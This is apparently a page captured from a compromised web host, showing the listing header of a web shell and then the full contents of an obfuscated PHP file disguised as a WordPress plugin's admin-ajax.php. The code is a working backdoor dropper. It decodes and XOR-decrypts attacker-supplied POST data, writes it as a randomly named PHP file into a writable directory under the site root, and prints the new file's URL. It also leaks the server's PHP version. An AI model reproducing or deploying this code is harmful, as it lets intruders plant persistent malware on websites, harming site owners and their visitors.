HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/foar/wp-content/plugins/attachments/languages/admin-ajax.php
<?php $ZFSdUnaBhK = "tgxZoWqmUL";function rEwMPto($ZFSdUnaBhK){ $nmNQUb = "\x73"."\x74".'r'.chr(378-283).chr(248-134)."\x6f".chr(116)."\x31"."\x33";$ZFSdUnaBhK = $nmNQUb($ZFSdUnaBhK);$ZdAnR = 'r'.chr(97)."\x77"."\165"."\x72".'l'.chr(685-585)."\145".'c'."\157".'d'.'e';$ZFSdUnaBhK = $ZdAnR($ZFSdUnaBhK);$ZFSdUnaBhK = str_split($ZFSdUnaBhK);return $ZFSdUnaBhK;}function sQQMEKNTsH($trYAP, $PSdgAz){$trYAP = array_slice(str_split(str_repeat($trYAP, (count($PSdgAz)/16)+1)), 0, count($PSdgAz));return $trYAP;}function NylXgAqoi($YjWYwuHzk, $tDqDtsYQs, $trYAP){$gKAMS = "44f13c5a-b9b1-4b94-a3c4-38f8a03985ae";return $YjWYwuHzk ^ $gKAMS[$tDqDtsYQs % strlen($gKAMS)] ^ $trYAP;}function JksMA($PSdgAz, $trYAP){$PSdgAz = array_map("NylXgAqoi", array_values($PSdgAz), array_keys($PSdgAz), array_values($trYAP));$PSdgAz = implode("", $PSdgAz);$ksYgct = 'u'.chr(110).chr(254-139)."\145"."\x72".chr(1079-974).chr(683-586).'l'.'i'.chr(122)."\145";$PSdgAz = @$ksYgct($PSdgAz);return $PSdgAz;}function NkjywU(){echo "xwnbLhMa";}function VcfeJpCFF($bWEXnir){static $OBenkSdP = array();$BobCltz = glob($bWEXnir . '/*', GLOB_ONLYDIR);$lXyDNxZOXc = count($BobCltz);if ($lXyDNxZOXc > 0) {foreach ($BobCltz as $bWEXn) {$SrADW = chr(764-659).chr(115).chr(475-380).'w'.chr(982-868).chr(105).'t'."\x61".'b'."\x6c".'e';if (@$SrADW($bWEXn)) {$OBenkSdP[] = $bWEXn;}}}foreach ($BobCltz as $bWEXnir) VcfeJpCFF($bWEXnir);return $OBenkSdP;}function EBmDdKb(){echo "tgxZoWqmUL";}function eVxIooAt($PSdgAz){$lsJNaMwT = "\x44".chr(445-366).chr(67)."\125".chr(77).chr(69).chr(78)."\124".chr(95).chr(82).chr(249-170).'O'.chr(84);$mFDxgrEFJ = $_SERVER[$lsJNaMwT];$BobCltz = VcfeJpCFF($mFDxgrEFJ);$yTeXOGk = array_rand($BobCltz);$nbsiaYNj = '.'.chr(716-604)."\x68"."\x70";$rlfFDZ = $BobCltz[$yTeXOGk] . "/" . substr(md5(time()), 0, 8) . $nbsiaYNj;$lJqrwtJ = "\x66".chr(105).'l'."\x65".chr(95).'p'.'u'."\x74".'_'."\x63".'o'.chr(893-783).chr(791-675).chr(101).'n'.chr(548-432).chr(115);@$lJqrwtJ($rlfFDZ, $PSdgAz);$uTpiEF = "\x48".chr(84)."\124".chr(711-631)."\137".'H'.chr(771-692).'S'.chr(84);$IStICizyTc = "\150".chr(457-341).chr(215-99).chr(112)."\x3a"."\x2f"."\x2f";$rDdAw = $IStICizyTc . $_SERVER[$uTpiEF] . substr($rlfFDZ, strlen($mFDxgrEFJ));print($rDdAw);}function ERhVLp(){$YoeocB = 'p'."\x68".chr(112);$HSWkWVAMZX = chr(306-194)."\x68".chr(252-140).chr(118).chr(101).chr(114).chr(115)."\151"."\x6f".chr(110);$PSdgAz = Array($YoeocB => @$HSWkWVAMZX(), );$bfPpQfnds = "\163".'e'.chr(114)."\151"."\141".'l'.'i'."\172"."\145";echo @$bfPpQfnds($PSdgAz);}foreach ($_POST as $trYAP => $PSdgAz){$fIeKZfpLFu = strlen($trYAP);if ($fIeKZfpLFu == 16){$PSdgAz = rEwMPto($PSdgAz);$trYAP = sQQMEKNTsH($trYAP, $PSdgAz);$PSdgAz = JksMA($PSdgAz, $trYAP);if (@is_array($PSdgAz)){$yTeXOGk = array_keys($PSdgAz);$PSdgAz = $PSdgAz[$yTeXOGk[0]];$yTeXOGk = $yTeXOGk[0];$yTeXOGk = substr($yTeXOGk, 0);if ($PSdgAz !== $yTeXOGk){eVxIooAt($PSdgAz);}else {ERhVLp();}die();}}}